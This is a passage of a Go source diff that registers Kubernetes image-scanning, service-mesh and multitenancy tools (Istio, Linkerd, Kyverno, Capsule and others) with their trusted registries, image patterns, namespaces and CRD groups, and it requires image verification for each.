// NEW: Deepfence ThreatMapper
|
||||
r.register(&Engine{
|
||||
ID: "deepfence",
|
||||
Name: "Deepfence ThreatMapper",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"deepfenceio/",
|
||||
"quay.io/deepfenceio/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"deepfenceio/deepfence_agent",
|
||||
"deepfenceio/deepfence_console",
|
||||
"deepfenceio/deepfence_router",
|
||||
"deepfence-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"deepfence-agent", "deepfence-console", "deepfence-router"},
|
||||
ExpectedNamespaces: []string{"deepfence", "deepfence-console"},
|
||||
WebhookPatterns: []string{"deepfence"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Qualys Container Security
|
||||
r.register(&Engine{
|
||||
ID: "qualys",
|
||||
Name: "Qualys Container Security",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"qualys/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"qualys/qcs-sensor",
|
||||
"qualys/container-sensor",
|
||||
"qualys-sensor",
|
||||
},
|
||||
DeploymentPatterns: []string{"qualys-container-sensor", "qcs-sensor"},
|
||||
ExpectedNamespaces: []string{"qualys"},
|
||||
WebhookPatterns: []string{"qualys"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Docker Scout
|
||||
r.register(&Engine{
|
||||
ID: "docker-scout",
|
||||
Name: "Docker Scout",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker/",
|
||||
"docker.io/docker/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"docker/scout-cli",
|
||||
"docker/scout-sbom-indexer",
|
||||
},
|
||||
DeploymentPatterns: []string{"docker-scout"},
|
||||
ExpectedNamespaces: []string{"docker-scout", "docker"},
|
||||
WebhookPatterns: []string{"docker-scout", "scout"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Tenable Container Security
|
||||
r.register(&Engine{
|
||||
ID: "tenable",
|
||||
Name: "Tenable Container Security",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"registry.tenable.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"tenable/nessus-agent",
|
||||
"tenable/cs-scanner",
|
||||
},
|
||||
DeploymentPatterns: []string{"tenable-agent", "nessus-agent"},
|
||||
ExpectedNamespaces: []string{"tenable"},
|
||||
WebhookPatterns: []string{"tenable"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: GitLab Container Scanning
|
||||
r.register(&Engine{
|
||||
ID: "gitlab-container-scanning",
|
||||
Name: "GitLab Container Scanning",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"registry.gitlab.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"gitlab/container-scanning",
|
||||
"gitlab-org/security-products/analyzers/container-scanning",
|
||||
},
|
||||
DeploymentPatterns: []string{"gitlab-container-scanning"},
|
||||
ExpectedNamespaces: []string{"gitlab", "gitlab-runner"},
|
||||
WebhookPatterns: []string{"gitlab"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// CrowdStrike Falcon - Container image scanning
|
||||
r.register(&Engine{
|
||||
ID: "crowdstrike",
|
||||
Name: "CrowdStrike Falcon",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"registry.crowdstrike.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"falcon-sensor",
|
||||
"falcon-container",
|
||||
"falcon-imageanalyzer",
|
||||
},
|
||||
DeploymentPatterns: []string{"falcon-sensor", "falcon-image-analyzer"},
|
||||
ExpectedNamespaces: []string{"falcon-system", "crowdstrike"},
|
||||
CRDGroups: []string{"falcon.crowdstrike.com"},
|
||||
WebhookPatterns: []string{"falcon"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Additional Policy Tools with Image Scanning Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Conftest - OPA-based policy testing for container images
|
||||
r.register(&Engine{
|
||||
ID: "conftest",
|
||||
Name: "Conftest",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"conftest",
|
||||
"openpolicyagent/conftest",
|
||||
},
|
||||
DeploymentPatterns: []string{"conftest"},
|
||||
ExpectedNamespaces: []string{"conftest", "kube-system"},
|
||||
WebhookPatterns: []string{"conftest"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Datree - Image policy validation
|
||||
r.register(&Engine{
|
||||
ID: "datree",
|
||||
Name: "Datree",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"datree/",
|
||||
"docker.io/datree/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"datree/admission-webhook",
|
||||
"datree/webhook-server",
|
||||
},
|
||||
DeploymentPatterns: []string{"datree-webhook"},
|
||||
ExpectedNamespaces: []string{"datree", "kube-system"},
|
||||
WebhookPatterns: []string{"datree-webhook"},
|
||||
LabelSelectors: []string{"app=datree-webhook"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,317 @@
|
||||
package admission
|
||||
|
||||
// registerMeshEngines registers all service mesh engines
|
||||
func (r *EngineRegistry) registerMeshEngines() {
|
||||
// Istio
|
||||
r.register(&Engine{
|
||||
ID: "istio",
|
||||
Name: "Istio",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/istio/",
|
||||
"gcr.io/istio-release/",
|
||||
"istio/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"istio/proxyv2",
|
||||
"istio/pilot",
|
||||
"istio/istiod",
|
||||
"istiod",
|
||||
},
|
||||
DeploymentPatterns: []string{"istiod", "istio-pilot", "istio-ingressgateway", "istio-egressgateway"},
|
||||
ExpectedNamespaces: []string{"istio-system", "istio"},
|
||||
WebhookPatterns: []string{"istio-sidecar-injector", "istio-validator"},
|
||||
CRDGroups: []string{"security.istio.io", "networking.istio.io", "telemetry.istio.io"},
|
||||
LabelSelectors: []string{"app=istiod", "istio=pilot"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Linkerd
|
||||
r.register(&Engine{
|
||||
ID: "linkerd",
|
||||
Name: "Linkerd",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"cr.l5d.io/linkerd/",
|
||||
"ghcr.io/linkerd/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"linkerd/proxy",
|
||||
"linkerd/controller",
|
||||
"linkerd-io/proxy",
|
||||
"linkerd2-proxy",
|
||||
},
|
||||
DeploymentPatterns: []string{"linkerd-destination", "linkerd-controller", "linkerd-identity", "linkerd-proxy-injector"},
|
||||
ExpectedNamespaces: []string{"linkerd", "linkerd-viz"},
|
||||
WebhookPatterns: []string{"linkerd-proxy-injector", "linkerd-sp-validator"},
|
||||
CRDGroups: []string{"policy.linkerd.io", "server.linkerd.io"},
|
||||
LabelSelectors: []string{"linkerd.io/control-plane-component", "app.kubernetes.io/name=linkerd"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Cilium Service Mesh
|
||||
r.register(&Engine{
|
||||
ID: "cilium-mesh",
|
||||
Name: "Cilium Service Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"cilium/",
|
||||
"quay.io/cilium/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cilium/cilium",
|
||||
"cilium/operator",
|
||||
"cilium/hubble",
|
||||
},
|
||||
DeploymentPatterns: []string{"cilium-operator", "hubble-relay"},
|
||||
ExpectedNamespaces: []string{"kube-system", "cilium"},
|
||||
CRDGroups: []string{"cilium.io"},
|
||||
LabelSelectors: []string{"k8s-app=cilium", "io.cilium/app=operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Consul Connect
|
||||
r.register(&Engine{
|
||||
ID: "consul",
|
||||
Name: "Consul Connect",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"hashicorp/",
|
||||
"docker.io/hashicorp/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hashicorp/consul",
|
||||
"consul-k8s",
|
||||
"consul-connect-inject",
|
||||
"consul-dataplane",
|
||||
},
|
||||
DeploymentPatterns: []string{"consul-server", "consul-connect-injector"},
|
||||
ExpectedNamespaces: []string{"consul", "hashicorp"},
|
||||
WebhookPatterns: []string{"consul-connect-injector"},
|
||||
CRDGroups: []string{"consul.hashicorp.com"},
|
||||
LabelSelectors: []string{"app=consul", "component=connect-injector"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Open Service Mesh (OSM)
|
||||
r.register(&Engine{
|
||||
ID: "osm",
|
||||
Name: "Open Service Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"openservicemesh/",
|
||||
"flomesh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openservicemesh/osm",
|
||||
"osm-controller",
|
||||
"osm-injector",
|
||||
"flomesh/osm",
|
||||
},
|
||||
DeploymentPatterns: []string{"osm-controller", "osm-injector", "osm-bootstrap"},
|
||||
ExpectedNamespaces: []string{"osm-system", "arc-osm-system"},
|
||||
WebhookPatterns: []string{"osm-mutating", "osm-validating"},
|
||||
CRDGroups: []string{"config.openservicemesh.io", "policy.openservicemesh.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=openservicemesh.io", "app=osm-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kuma / Kong Mesh
|
||||
r.register(&Engine{
|
||||
ID: "kuma",
|
||||
Name: "Kuma",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"kumahq/",
|
||||
"docker.io/kumahq/",
|
||||
"kong/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kumahq/kuma",
|
||||
"kuma-cp",
|
||||
"kuma-dp",
|
||||
"kuma-init",
|
||||
"kong/kuma",
|
||||
},
|
||||
DeploymentPatterns: []string{"kuma-control-plane"},
|
||||
ExpectedNamespaces: []string{"kuma-system"},
|
||||
WebhookPatterns: []string{"kuma-admission-mutating", "kuma-validating"},
|
||||
CRDGroups: []string{"kuma.io"},
|
||||
LabelSelectors: []string{"app=kuma-control-plane", "app.kubernetes.io/name=kuma"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS App Mesh
|
||||
r.register(&Engine{
|
||||
ID: "appmesh",
|
||||
Name: "AWS App Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"public.ecr.aws/",
|
||||
"602401143452.dkr.ecr.",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aws-appmesh-envoy",
|
||||
"amazon/appmesh",
|
||||
"appmesh-controller",
|
||||
"appmesh-injector",
|
||||
},
|
||||
DeploymentPatterns: []string{"appmesh-controller", "appmesh-inject"},
|
||||
ExpectedNamespaces: []string{"appmesh-system", "kube-system"},
|
||||
WebhookPatterns: []string{"appmesh-inject"},
|
||||
CRDGroups: []string{"appmesh.k8s.aws"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=appmesh-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Traefik Mesh (formerly Maesh)
|
||||
r.register(&Engine{
|
||||
ID: "traefik-mesh",
|
||||
Name: "Traefik Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"traefik/",
|
||||
"docker.io/traefik/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"traefik/mesh",
|
||||
"traefik-mesh",
|
||||
"maesh",
|
||||
},
|
||||
DeploymentPatterns: []string{"traefik-mesh-controller"},
|
||||
ExpectedNamespaces: []string{"traefik-mesh", "maesh"},
|
||||
CRDGroups: []string{"access.smi-spec.io", "specs.smi-spec.io"},
|
||||
LabelSelectors: []string{"app=traefik-mesh"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NGINX Service Mesh
|
||||
r.register(&Engine{
|
||||
ID: "nginx-mesh",
|
||||
Name: "NGINX Service Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"docker-registry.nginx.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"nsm-controller",
|
||||
"nginx-mesh-sidecar",
|
||||
"nginx-mesh-init",
|
||||
},
|
||||
DeploymentPatterns: []string{"nsm-controller"},
|
||||
ExpectedNamespaces: []string{"nginx-mesh"},
|
||||
CRDGroups: []string{"specs.smi.nginx.com"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=nginx-service-mesh"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Gloo Mesh (Solo.io)
|
||||
r.register(&Engine{
|
||||
ID: "gloo-mesh",
|
||||
Name: "Gloo Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/gloo-mesh/",
|
||||
"quay.io/solo-io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"gloo-mesh-mgmt-server",
|
||||
"gloo-mesh-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"gloo-mesh-mgmt-server", "gloo-mesh-agent"},
|
||||
ExpectedNamespaces: []string{"gloo-mesh"},
|
||||
CRDGroups: []string{"networking.mesh.gloo.solo.io", "discovery.mesh.gloo.solo.io"},
|
||||
LabelSelectors: []string{"app=gloo-mesh-mgmt-server"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Flomesh Service Mesh (FSM) - successor to OSM
|
||||
r.register(&Engine{
|
||||
ID: "fsm",
|
||||
Name: "Flomesh Service Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"flomesh/",
|
||||
"docker.io/flomesh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"flomesh/fsm-controller",
|
||||
"flomesh/fsm-injector",
|
||||
"flomesh/fsm-bootstrap",
|
||||
"flomesh/pipy",
|
||||
"fsm-controller",
|
||||
"fsm-injector",
|
||||
},
|
||||
DeploymentPatterns: []string{"fsm-controller", "fsm-injector", "fsm-bootstrap"},
|
||||
ExpectedNamespaces: []string{"fsm-system", "kube-system"},
|
||||
WebhookPatterns: []string{"fsm-mutating", "fsm-validating"},
|
||||
CRDGroups: []string{"flomesh.io", "gateway.flomesh.io", "policy.flomesh.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=flomesh.io", "app=fsm-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Traffic Director / Anthos Service Mesh
|
||||
r.register(&Engine{
|
||||
ID: "gcp-traffic-director",
|
||||
Name: "GCP Traffic Director",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/gke-release/",
|
||||
"gke.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"gke.gcr.io/asm/",
|
||||
"traffic-director-proxyv2",
|
||||
"td-grpc-bootstrap",
|
||||
"gcp-traffic-director",
|
||||
},
|
||||
DeploymentPatterns: []string{"traffic-director"},
|
||||
ExpectedNamespaces: []string{"kube-system", "gke-system", "asm-system"},
|
||||
CRDGroups: []string{"networking.gke.io", "hub.gke.io"},
|
||||
LabelSelectors: []string{"app=traffic-director"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Anthos Service Mesh
|
||||
r.register(&Engine{
|
||||
ID: "anthos-service-mesh",
|
||||
Name: "Anthos Service Mesh",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/gke-release/",
|
||||
"gke.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"gke.gcr.io/asm/",
|
||||
"asm/proxyv2",
|
||||
"asm/pilot",
|
||||
"managed-cni",
|
||||
},
|
||||
DeploymentPatterns: []string{"istiod-asm", "canonical-service-controller"},
|
||||
ExpectedNamespaces: []string{"asm-system", "istio-system", "gke-managed-cni"},
|
||||
WebhookPatterns: []string{"istiod-asm"},
|
||||
CRDGroups: []string{"security.istio.io", "networking.istio.io", "mesh.cloud.google.com"},
|
||||
LabelSelectors: []string{"app=istiod", "istio.io/rev"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Application Gateway Ingress Controller (AGIC)
|
||||
r.register(&Engine{
|
||||
ID: "azure-agic",
|
||||
Name: "Azure Application Gateway Ingress",
|
||||
Category: CategoryMesh,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-application-gateway-kubernetes-ingress",
|
||||
"application-gateway-kubernetes-ingress",
|
||||
},
|
||||
DeploymentPatterns: []string{"ingress-appgw-deployment", "ingress-azure"},
|
||||
ExpectedNamespaces: []string{"kube-system", "azure-agic"},
|
||||
CRDGroups: []string{"appgw.ingress.k8s.io"},
|
||||
LabelSelectors: []string{"app=ingress-azure"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,370 @@
|
||||
package admission
|
||||
|
||||
// registerMultitenancyEngines registers all multitenancy engines
|
||||
func (r *EngineRegistry) registerMultitenancyEngines() {
|
||||
// Hierarchical Namespace Controller (HNC)
|
||||
r.register(&Engine{
|
||||
ID: "hnc",
|
||||
Name: "Hierarchical Namespace Controller",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/k8s-staging-multitenancy/",
|
||||
"registry.k8s.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hnc-manager",
|
||||
"hierarchical-namespace-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"hnc-controller-manager"},
|
||||
ExpectedNamespaces: []string{"hnc-system", "kube-system"},
|
||||
WebhookPatterns: []string{"hnc-validating", "hnc-mutating"},
|
||||
CRDGroups: []string{"hnc.x-k8s.io"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "app=hnc-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Capsule
|
||||
r.register(&Engine{
|
||||
ID: "capsule",
|
||||
Name: "Capsule",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/clastix/",
|
||||
"ghcr.io/clastix/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"clastix/capsule",
|
||||
"capsule",
|
||||
},
|
||||
DeploymentPatterns: []string{"capsule-controller-manager"},
|
||||
ExpectedNamespaces: []string{"capsule-system", "kube-system"},
|
||||
WebhookPatterns: []string{"capsule-validating", "capsule-mutating"},
|
||||
CRDGroups: []string{"capsule.clastix.io"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "app=capsule"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// vCluster
|
||||
r.register(&Engine{
|
||||
ID: "vcluster",
|
||||
Name: "vCluster",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"loftsh/",
|
||||
"ghcr.io/loft-sh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"loftsh/vcluster",
|
||||
"vcluster",
|
||||
"vcluster-pro",
|
||||
},
|
||||
DeploymentPatterns: []string{"vcluster"},
|
||||
ExpectedNamespaces: []string{}, // Can be any namespace
|
||||
CRDGroups: []string{"storage.loft.sh"},
|
||||
LabelSelectors: []string{"app=vcluster", "release=vcluster"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Loft
|
||||
r.register(&Engine{
|
||||
ID: "loft",
|
||||
Name: "Loft",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"loftsh/",
|
||||
"ghcr.io/loft-sh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"loftsh/loft",
|
||||
"loft",
|
||||
"loft-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"loft", "loft-agent"},
|
||||
ExpectedNamespaces: []string{"loft", "loft-system"},
|
||||
WebhookPatterns: []string{"loft-webhook"},
|
||||
CRDGroups: []string{"management.loft.sh", "cluster.loft.sh", "storage.loft.sh"},
|
||||
LabelSelectors: []string{"app=loft", "app.kubernetes.io/name=loft"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kiosk
|
||||
r.register(&Engine{
|
||||
ID: "kiosk",
|
||||
Name: "Kiosk",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"loftsh/",
|
||||
"ghcr.io/loft-sh/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"loftsh/kiosk",
|
||||
"kiosk",
|
||||
},
|
||||
DeploymentPatterns: []string{"kiosk"},
|
||||
ExpectedNamespaces: []string{"kiosk", "kube-system"},
|
||||
WebhookPatterns: []string{"kiosk-webhook"},
|
||||
CRDGroups: []string{"tenancy.kiosk.sh", "config.kiosk.sh"},
|
||||
LabelSelectors: []string{"app=kiosk"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Rancher
|
||||
r.register(&Engine{
|
||||
ID: "rancher",
|
||||
Name: "Rancher",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"rancher/",
|
||||
"docker.io/rancher/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"rancher/rancher",
|
||||
"rancher/rancher-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"rancher"},
|
||||
ExpectedNamespaces: []string{"cattle-system", "rancher"},
|
||||
WebhookPatterns: []string{"rancher-webhook"},
|
||||
CRDGroups: []string{"management.cattle.io", "project.cattle.io", "catalog.cattle.io"},
|
||||
LabelSelectors: []string{"app=rancher"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// OpenShift Project (namespace isolation)
|
||||
r.register(&Engine{
|
||||
ID: "openshift-project",
|
||||
Name: "OpenShift Project",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/openshift/",
|
||||
"registry.redhat.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openshift/origin",
|
||||
"openshift-controller-manager",
|
||||
},
|
||||
DeploymentPatterns: []string{"openshift-controller-manager"},
|
||||
ExpectedNamespaces: []string{"openshift-controller-manager"},
|
||||
CRDGroups: []string{"project.openshift.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kamaji
|
||||
r.register(&Engine{
|
||||
ID: "kamaji",
|
||||
Name: "Kamaji",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/clastix/",
|
||||
"ghcr.io/clastix/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"clastix/kamaji",
|
||||
"kamaji",
|
||||
},
|
||||
DeploymentPatterns: []string{"kamaji-controller-manager"},
|
||||
ExpectedNamespaces: []string{"kamaji-system", "kube-system"},
|
||||
CRDGroups: []string{"kamaji.clastix.io"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "app=kamaji"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Karmada - multi-cluster management
|
||||
r.register(&Engine{
|
||||
ID: "karmada",
|
||||
Name: "Karmada",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/karmada/",
|
||||
"karmada/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"karmada/karmada-controller-manager",
|
||||
"karmada/karmada-scheduler",
|
||||
"karmada/karmada-webhook",
|
||||
"karmada/karmada-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"karmada-controller-manager", "karmada-scheduler", "karmada-webhook"},
|
||||
ExpectedNamespaces: []string{"karmada-system", "kube-system"},
|
||||
WebhookPatterns: []string{"karmada-webhook"},
|
||||
CRDGroups: []string{"cluster.karmada.io", "policy.karmada.io", "work.karmada.io"},
|
||||
LabelSelectors: []string{"app=karmada-controller-manager", "app.kubernetes.io/name=karmada"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Admiralty - multi-cluster scheduling
|
||||
r.register(&Engine{
|
||||
ID: "admiralty",
|
||||
Name: "Admiralty",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/admiralty/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"admiralty/multicluster-scheduler",
|
||||
"admiralty",
|
||||
},
|
||||
DeploymentPatterns: []string{"admiralty-multicluster-scheduler"},
|
||||
ExpectedNamespaces: []string{"admiralty", "kube-system"},
|
||||
WebhookPatterns: []string{"admiralty"},
|
||||
CRDGroups: []string{"multicluster.admiralty.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=multicluster-scheduler"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Policy Engines with Multitenancy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// OPA Gatekeeper - Can enforce namespace isolation and tenant constraints
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"quay.io/gatekeeper/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper-validating", "gatekeeper-mutating"},
|
||||
CRDGroups: []string{"constraints.gatekeeper.sh", "templates.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "gatekeeper.sh/system=yes"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kyverno - Can enforce namespace policies and tenant isolation
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"nirmata/",
|
||||
"docker.io/nirmata/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno",
|
||||
"nirmata/kyverno",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno-resource-validating", "kyverno-resource-mutating"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno", "app=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden - Can enforce multitenancy policies
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden",
|
||||
Name: "Kubewarden",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kubewarden-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
LabelSelectors: []string{"app=kubewarden-policy-server", "app.kubernetes.io/name=kubewarden-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Cloud-Specific Resource Management
|
||||
// =============================================================================
|
||||
|
||||
// AWS Controllers for Kubernetes (ACK)
|
||||
r.register(&Engine{
|
||||
ID: "aws-ack",
|
||||
Name: "AWS Controllers for Kubernetes",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"public.ecr.aws/aws-controllers-k8s/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aws-controllers-k8s/",
|
||||
"ack-",
|
||||
},
|
||||
DeploymentPatterns: []string{"ack-", "-controller"},
|
||||
ExpectedNamespaces: []string{"ack-system", "kube-system"},
|
||||
CRDGroups: []string{"services.k8s.aws"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=ack"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Config Connector
|
||||
r.register(&Engine{
|
||||
ID: "gcp-config-connector",
|
||||
Name: "GCP Config Connector",
|
||||
Category: CategoryMultitenancy,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/cnrm-eap/",
|
||||
"gcr.io/gke-release/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cnrm-controller-manager",
|
||||
"cnrm-webhook-manager",
|
||||
"cnrm-deletiondefender",
|
||||
"cnrm-resource-stats-recorder",
|
||||
},
|
||||
DeploymentPatterns: []string{"cnrm-controller-manager", "cnrm-webhook-manager"},
|
||||
ExpectedNamespaces: []string{"cnrm-system", "configconnector-operator-system"},
|
||||
WebhookPatterns: []string{"cnrm-validating", "cnrm-mutating"},
|
||||
CRDGroups: []string{"core.cnrm.cloud.google.com", "iam.cnrm.cloud.google.com"},
|
||||
